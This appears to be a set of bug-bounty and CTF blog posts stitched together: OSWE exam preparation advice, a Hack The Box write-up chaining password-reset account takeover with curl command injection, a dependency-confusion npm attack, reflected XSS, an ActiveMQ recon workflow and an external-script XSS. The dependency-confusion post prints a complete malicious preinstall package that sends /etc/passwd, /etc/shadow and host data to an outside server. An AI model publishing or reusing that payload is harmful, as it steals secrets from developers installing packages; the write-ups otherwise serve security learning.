The OSWE exam is not a bug bounty. You don’t find one vulnerability, write it up, and move on. The exam wants a full compromise, and if you found SQL injection but can’t turn it into remote code execution, you’re not done. That expectation changed how I prepared for everything.

The mindset shift that made the difference

When I started, I was asking the wrong question. “Does this app have SQL injection?” is a terrible question because it leads to random testing. The right question is “where does user input touch a SQL query, and what stands between those two points?” That small reframe changes everything about how you read code and how you test.

Three ideas became the backbone of how I worked. First, every vulnerability is a path from something the attacker controls to somewhere dangerous, and your job is to check whether the stuff in the middle actually blocks that path or just looks like it does. Second, a finding that doesn’t chain to anything bigger is almost worthless under time pressure. A blind SQLi that leaks one character per request becomes interesting when it gets you a password reset token, which gets you into an admin panel, which has an XML import feature, which reads an SSH key. Third, features tell you where bugs live. File upload means think path traversal. Sortable search results mean think ORDER BY injection. You don’t guess, you look at the feature and the feature points you somewhere.

What I studied before the course even started

I spent two months studying each vulnerability class before I bought the course. SQL injection across four database engines, SSTI across sixteen template engines, XXE, deserialization in five languages, prototype pollution, SSRF, authentication bypass patterns. By the time the labs started, I wasn’t learning what these bugs were. I was learning how to chain them and how to find them fast in a large codebase.

Hack The Box trained my enumeration habits. Nobody gives you the vulnerability on the homepage there, and pushing through that frustration built instincts I used on exam day. PortSwigger Web Security Academy gave me structured depth on each vulnerability class, and their white-box labs where source code is provided are the closest thing publicly available to what OSWE actually tests. PentesterLab is where I learned to find bugs through code review specifically, which is the core of what this cert is about.

The habit that paid off more than any platform was reading disclosed HackerOne bug bounty reports. Not to copy payloads, but to understand the reasoning behind each bypass. Why XOR instead of OR? What makes a polyglot payload work? That kind of thinking means you’re never starting from zero when you hit a filter.

The methodology I applied to every target

I used the same four phases whether I was in a practice lab or on the actual exam.

The first phase was always mapping the application for 20 to 30 minutes before writing a single payload or opening any source code. Tech stack identification from headers, cookies, and error messages. Role enumeration. Mapping every feature and every input vector with Burp Proxy capturing everything. File uploads, sort parameters, import and export features, password reset flows, API endpoints, all of it. I skipped this phase once in practice and spent two hours on a complex SQL injection chain before noticing there was an unauthenticated file upload sitting right there the whole time. I never skipped it again.

The second phase was forming specific hypotheses from that feature map. A search feature with column sorting gets tested for ORDER BY injection. An XML-accepting API gets tested for XXE. A password reset flow gets tested for weak token generation. Every test was confirmation or elimination of a specific hypothesis, not random spraying.

The third phase was black-box testing based on those hypotheses. Targeted fuzzing, careful reading of response differences including timing, and writing down every result including “no difference” because a documented negative saves you from re-testing the same thing later.

The fourth phase was white-box code review. Set up the environment properly first, which means error display on, query logging on, debugger attached. Map routes to handler functions before reading any business logic. Then grep for dangerous sink patterns and narrow with negative filters. A search for query.*select returns 200 results. Adding a filter to exclude lines with prepare or setParameter reduces that to five results actually worth reading. Trace user input from source through every transformation to the sink, check sanitization for bypass potential, and validate with a test.

Remote debugging is not advanced, it’s fundamental

I treated debugging as an advanced technique and waited too long to set it up. Setting a breakpoint at a suspicious function and watching the application execute tells you in 60 seconds whether user input actually reaches the sink, what transformations happened along the way, and whether a filter is stripping characters or silently passing them through. That’s more information than an hour of guessing.

The thing that bites everyone is the firewall port. Application started with debug flags, debugger listening on all interfaces, port open in the guest firewall, port forwarding working, source code in your IDE matching what’s running. Verify with telnet localhost <PORT> before assuming it works.

Writing exploits without AI assistance

I didn’t use any AI coding tools during preparation. The exam doesn’t allow them, AI-generated exploit code gets subtle encoding and HTTP parsing details wrong in ways that are hard to debug if you don’t understand the mechanism, and honestly the struggle is where the learning happens. Every time I got stuck and had to dig through framework documentation or re-read the source code, I was building instincts that transferred to the next target.

My exploit workflow was always the same. Confirm the vulnerability manually with one request in Burp Repeater before writing any code. Read the source to understand what the vulnerable function expects. Copy the request as Python using Burp’s extension to get a working HTTP skeleton with zero typos. Write a minimal proof of concept. Generalize it. Then chain it to something bigger.

Time management on exam day

The 30-minute rule saved me more than once. If I had spent 30 minutes on a single vulnerability with no progress at all, I stopped and asked whether I was missing a simpler path. Trying increasingly exotic bypass variations is usually a sign the vulnerability isn’t exploitable the way you’re thinking about it. An application with dozens of endpoints has more than one vulnerability.

For priority, SSTI and deserialization get chased first because they often lead directly to RCE. SQL injection with stacked queries is next. XXE is high value because file read can chain to credential extraction which can chain to everything else. Blind SQLi is slow but useful. XSS requires user interaction and goes last.

Things I’d do differently

Set up remote debugging on day one. I waited until month three and lost a lot of time to guessing that a debugger would have resolved immediately.

Practice exploit chains earlier. I spent too long getting good at individual vulnerability classes in isolation. The exam tests the chain: SQLi to auth bypass to admin access to XXE to file read to credential extraction to RCE. That specific skill of linking bugs together needs its own practice time.

Build the grep cheat sheet at the start. I accumulated mine organically over months. If I had compiled it systematically from the beginning, my early code reviews would have been much faster.

Put more time into deserialization and prototype pollution. I over-invested in SQL injection and SSTI. Diversify earlier.

Do more timed practice. Most of my prep was untimed. The triage instincts you need under exam pressure only develop when you practice under exam pressure.

What actually matters

The techniques for OSWE are all publicly documented. SQL injection, SSTI, deserialization, XXE, you can learn all of it for free. What the exam tests is whether you can apply those techniques systematically to an application you’ve never seen before, under time pressure, with no hints. That’s a different skill from knowing the techniques, and it only comes from deliberate practice.

Build the methodology. The knowledge follows.

No lab solutions, exam targets, exploitation paths, flags, or credentials are included in this article. Everything here is methodology and habit, which anyone can build through their own work.

In this lab, we chained two vulnerabilities to achieve command injection. The setup includes access to the source code and two distinct hosts.

83.136.254.158:45660 → This is Armaxis. I’m not entirely sure about its main purpose, but it includes functionalities for sending items to users via the admin, resembling a report-sending system.

83.136.254.158:33602 → This appears to be a mail service, similar to Gmail.

Before examining the source code, I tested everything I could think of: JWT manipulation, authentication bypass, and SQL injection. However, none of these approaches worked.

I then focused on the password reset functionality, where I discovered an account takeover vulnerability through manipulation of the password reset request.

Below is the password reset request body:

{ 
  "token": "f35137e53d9d900a8435a9734a79165d",
  "newPassword": "f35137e53d9d900a8435a9734a79165d",
  "email": "test@email.htb"
}

The request body is in JSON format. To achieve account takeover (ATO), we simply need a valid token. This can be obtained by requesting a password reset for the target account test@email.htb via the reset password page. The token will then be sent to the mail service host.

After that, I’ll receive the token.

After digging further into the source code, I found the email admin@armaxis.htb.

Now, I’ll obtain a valid token, manipulate the request, and replace the test email with the admin email.

This is how the request body looks after manipulation:

Boom! We’re now the admin, and we have access to some interesting functions to explore and test.

dispatch weapon page contains a form.

The “note (MarkDown)” section is the most interesting one. I then returned to the source code and found a file named markdown.js, which contains the Markdown handler. As part of it, there is a URL handler that executes a curl request when a URL is provided in the Markdown.

const fileContent = execSync(`curl -s ${url}`);

To achieve command injection, we simply need to separate the commands by adding a semicolon at the end of our URL.

Of course, I initially tried using a normal URL (http://...), but it didn’t work. So, I looked into how URLs are handled in Markdown, where there are two formats: []() for regular URLs and ![]() for embedded images.

In my first attempts, I focused only on [](), which was a mistake. It’s better to test using a wordlist that includes all URL-related functions in Markdown. After getting stuck with [](), I returned to the source code and found the following:

return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;

This means the code expects an embedded image URL rather than a regular one. So, I tried , and it worked! I was able to retrieve the content of /etc/passwd encoded in base64.

Now that I can execute any command by separating it with a semicolon (;), I decided to focus on retrieving the flag. First, I used pwd to check my current directory. Then, I used the following command:

``

This allowed me to retrieve the flag content as base64. I simply decoded it to get the flag.

HTB{FAKE_FLAG_FOR_WRITEUP}

You just have to try everything you can. For each function, treat it like an application focus on it until you’ve explored all possibilities (reading docs, writeups, reports, and tweets…) to gather as many tricks and tips as possible. When you encounter a scenario (e.g., a file upload that only accepts SVG files), try techniques like XXE.

I hope this article sheds light on some of the darker areas in your understanding. Next time, Inshallah, we’ll tackle a critical bug!

السلام عليكم و رحمة الله اللهم انصر اخواننا في غزه

Hi folks pray for our brothers in gaza,

This is me back again with a new scenario that i faced,

Before i would say don’t underestimate yourself when it comes to learning something new. I once came across an article on this topic a year ago, but I didn’t try to understand it because I thought it was beyond me. Recently, I gave it another look, and to my surprise, it was far easier and less complicated than I had expected. Sometimes, all it takes is a fresh attempt to realize just how capable you really are.

Let’s dig in,Dependency confusion is a vulnerability that allows attackers to hijack internal package dependencies by publishing similarly named packages in a public repository. When unclaimed private packages are inadvertently fetched from public repositories, it can lead to serious security risks like remote code execution (RCE) and data leaks.

speciall thanks for Alex Birsan about his awesome articles that explaining this vulnerability as simple as possible. READ More Dependency Confusion

In a recent experiment, I observed how an unclaimed dependency could compromise an entire application’s security, leading to potential RCE and data exfiltration on unsuspecting client machines. This article dives into the techniques and methods behind this vulnerability and how organizations can prevent it.

let me explain more Imagine you’re developing a Python project and decide to split your code into different classes, eventually creating a custom library for mathematical functions. Let’s say you name this library calc-me and keep it stored locally on your machine, using it exclusively within your project. However, if calc-me is not reserved on the public Python Package Index (PyPI), someone else could create and publish a package with the same name, calc-me, to the public registry.

If your project is set up to search both local and public repositories for dependencies, it could mistakenly download this public version instead of your local one, especially if the public version has a higher version number. This is the core of the “dependency confusion” vulnerability, where public packages can unintentionally override local or private ones.

but in our case i faced same thing but in node.js module, i was digging in github of redacted program and i found package.json file which contains informations about modules that used by that application i found package named noderedactedsdk which i check in npmjs offecial website that wasn’t claimed in public

https://www.npmjs.com/package/noderedactedsdk

so this module not claimed, let’s cook it using npm-cli,

mkdir noderedactedsdk; cd noderedactedsdk
npm login #then login using your email and password
npm init #then fill up the input which the first one is name of module in this case it's noderedactedsdk, also version keep it higher than the one that was in package.jsonbash

by default the package.json works with index.js

which we gonna make to contain a malicious actions in same folder we gonna create index.js contains:

const { exec } = require("child_process");
const command = `
curl -X POST "http://yourserver.com/noderedactedsdk/$(whoami)/$(hostname)/" \
-A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \
-s -o /dev/null
`;
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Save the code. This payload will execute when the package is installed, sending system information to your server.

we have to add line in package.json to execute index.js directly after installing

the final result of package.json:

{"name": "noderedacteddk",
"version": "5.0.0",
"description": "Nodejs SDK for Redacted",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node index.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"noderedacteddk": "¹.0.2"}}

let’s publish by executing in same folder:

npm publish

then npm will confirm that your package has been published. It’s now available for anyone to install from the npm registry.

Once the package is published, any user or system attempting to install or update noderedactedsdk could unknowingly download the malicious version from the public npm registry.

the malicious version, which is in index.js, contains a command that collects sensitive information from the host machine, including the hostname, user ID, and contents of important system files like /etc/hosts and /etc/passwd. The command encodes this data in base64 and sends it via a POST request to an external server controlled by me. This stealthy exfiltration technique allows me to gather critical information from any system that installs or updates this compromised package, potentially leading to further exploitation.

i can gain reverse shell to but for ethical reasons i did’t cause this is a clients or developers machines not a server of redacted.com

On my server, i setuped logging to capture requests from clients installing the package. using this command in background:

stdbuf -oL tail -f /var/log/apache2/access.log | grep - line-buffered "POST" | while read -r line
do
echo "$line" | notify -silent -id mchklt >/dev/null
done

When someone installs this package, I receive his machine informations directly on my Telegram.

i report it and they response fast but with duplicate state :(

anyway allhamdulillah next time inshallah it will be in accepted state as well as you have to know that things comes in there time just keep diging trying and all it gonna be good .

follow me X , Linkedin

Salam o alikum, pray for people’s in gaza 🇵🇸

I recently wrote a simple Bash script that turned out to be a game-changer in one of my hunts, and I wanted to share how it helped me uncover a path traversel.

The script’s purpose is straightforward: it monitors hosts by pinging them every hour. If a host comes online, it sends a notification to my Telegram using the notify tool by ProjectDiscovery. After notifying me once, it stops pinging that host for 24 hours to avoid unnecessary alerts. This setup saved me a lot of time and hassle.

Here’s the scenario: I was investigating a host, but it was offline when I first checked. So, I added it to my script, set it to monitor, and waited. Not long after, I received a notification that the host was back online. When I checked, I discovered it was running Jira by Atlassian. After some digging, I found that the Jira instance had a path traversal vulnerability — a high issue that could have gone unnoticed if I hadn’t been alerted in time. Alhamdulillah, I managed to report the vulnerability before anyone else could.

This small script made a huge difference in that moment, and I think others might find it useful too. Whether you’re a bug bounty hunter, penetration tester, or just someone who needs to keep an eye on important infrastructure, this tool could come in handy.

You can check out the code on PingPong. I’d love to hear your thoughts or suggestions for improvements!

Hello everyone, pray for our brothers in Gaza. #Free_Palestine.

In this writeup, I’m going to talk about techniques that I used to get reflected cross-site scripting (RXSS). It was a new experience that I faced, and I learned a lot from it. Let’s start.

In our target, target.com, there is a “Contact Us” form that contains an upload file option to submit a screenshot of your problem. As usual, I checked for reflection by putting a random string like “mchkltxss” and found that it reflected. I tried to inject XSS payloads, but they didn’t work because of HTML encoding.

I switched to Burp Suite for a better view of the request. The name of the file that I uploaded goes into the filename variable. I tried manipulating this variable by putting random text to see if there was any reflection, but there was none initially. Then, I tried putting a random extension, like “helloworld.fakeext”. This reflected an error message containing

The file extension provided ‘helloworld.fakeext’ does not match the expected media types.

So, we have reflection.

I attempted HTML injection, and it worked. However, when I tried alert(document.domain), it didn’t work because the function detected that .domain was an extension. But JavaScript is great and gives us functions that don’t need dots. I used alert(document[‘domain’]), and it worked. But up to this point, it was just self-XSS because the file upload uses a POST request with multipart/form-data encoding.

I tried Burp Suite CSRF PoCs, including the multipart one, and they worked, but the file upload part didn’t. So, it was time for coding. I wrote custom code to handle the file upload via a POST request, and after some tweaks, it worked.

kudos to Sabermohamed about his article that showed me the way of doing.

The js code was dynamically add hidden inputs to a form, convert base64 encoded data into a file, and attach this file to the form. The form is then automatically submitted. Now I had a fully exploitable rXSS.

to read the exploitation code check csrf-file-upload-poc

it was valid and non duplicate in two assets

In conclusion, this experience highlighted the importance of thoroughly testing all input fields and exploring various techniques to check for reflection, rXSS, or HTML injection. It underscored the value of experimenting with different methods and tools. Stay vigilant and keep learning.

الحمد لله الذي علمنا ما لم نكن نعلم وكان فضله — تعالى — علينا عظيما والصلاة والسلام على رسوله الكريم وعلى آله وصحبه

#Free_Palestine

.السلام عليكم ورحمه الله وبركاته والصلاه والسلام على رسول الله سيدنا محمد

As-salamu alaykum everyone! In this article, I’ll talk about my first RCE experience. It happened with a CVE-2023–46604 in Apache ActiveMQ. I’ll focus more on how I found it rather than bringing new stuff to the table for expert bug hunters.

In my recon process, i made sure to update my list of subdomains every week and scan for open ports every three days (though, it’s better to do it every day). For subdomains enumeration, I used tools like Subfinder and Amass.

subfinder -dL domains.txt -o subdomains.txt
#then subdomains of subdomains 
subfinder -dL subdomains.txt -o more-subdomains.txt


#using amass
amass enum -passive -norecursive -noalts -df domains.txt -o subs.txt
#then subdomains of subdomains
amass enum -passive -norecursive -noalts -df subs.txt -o more-subs.txt

Then:

cat more-subdomains.txt subdomains.txt subs.txt more-subs.txt | sort -u > targets.txt

after that i start port scanning in some cases i got a lot of subdomains somtimes +5k, I made a simple script to check subdomains using DNSx and divided them into groups of 15. Then, I ran Naabu with nohup to keep it running in the background.

script that i use

#!/bin/bash

if [ $# -eq 0 ]; then
    echo "Usage: $0 <file>"
    exit 1
fi

cat $1 | dnsx -o $1_ok.txt

split -l 15 $1_ok.txt 15_file_

for file in 15_file_*; do
    nohup naabu -list "$file" -p - -o "${file}.out"&
done

then

cat 15*out | sort -u > ports.out 

Many times, I manually checked that list. I filtered out hosts that might be honeypots, and sometimes Naabu gave unreliable results.

btw, after that, I manually checked for hosts with open ports between 3 and 10. When I noticed a strange open port, I used Nmap to find out which services were running on it.

In this instance, there was a host named bamboo.target.com, and I noticed that it had an open port, 54663.

When I used Nmap with the -sSCV flag, I discovered that it was running Apache ActiveMQ, which was present in its latest versions CVE-2023–46604 .

Then, I simply applied the exploit, and it worked right away. I reported it in a detailed report, which turned out to be a smart move. Providing all the necessary information for the triager and the security team often leads to a good bonus for your efforts.

as well as for that result

That’s all, folks! Thanks for your time. Feel free to check out my LinkedIn or Twitter — I’m looking for homies there!

سبحانك ربي لا علم لنا إلا ما علمتنا, واخر دعوانا ان الحمدلله رب العالمين

Get Parameter Misconfiguration Leads to P1 XSS

السلام عليكم ورحمة الله,

الحمدُ للهِ حمدًا كثيرًا طيِّبًا مُبارَكًا فيه مُباركًا عليِه كما يُحِبُّ ربُّنا ويرْضى.

Hello world,

All praise is to Allah, praise in abundance, good and blessed.

i get this endpoint by using waymore + katana, in results i see endpoint that contain this interested parameter elementsUrl i try in it my burp collaborator then i see that i received DNS & HTTP requests to this endpoints

/styles.css
/deployment/env/redacted.config.js

the requests commes just when i browse the url from my browser that’s mean there is no ssrf then i try to read source of the page and i see some interested js codes

i see that the page import js and css from external endpoint

i go to my server and i created two endpoints

styles.css :

body::before {
  content: "HELLO FROM MCHKLT";
  color: red;
  font-size: 24px;
  font-weight: bold;
  display: block;
  text-align: center;
  margin-top: 20px;
}

/deployment/env/redacted.config.js :

document.title = "HELLO FROM MCHKLT";
alert(document.domain);

after adding my website to the vulnerable endpoint was like

http://target/v2/sso.php?env=redacted&elementsUrl=https://mchklt.server/

the site gonna import css and js from malicious endpoint that created by me

then boom

after this i do my best part

i take the endpoint then i do a simple bash script that gonna try the endpoint in all domains & subdomains of my target

for i in $(cat subs);do curl $i | grep “elementsUrl”; done

after doing that i get +10 subdomains of my target that was infected and after some analysing and researching i found that the bug was in a service by target.com

by using google dorks i found +130 subdomain that uses target.com service and it’s vulnerable .

i report it but

anyway alhamdulillah

Thanks for reading,

if you can connect me in LinkedIn i wanna more friends that interested in Bug Hunt & Cyber Sec .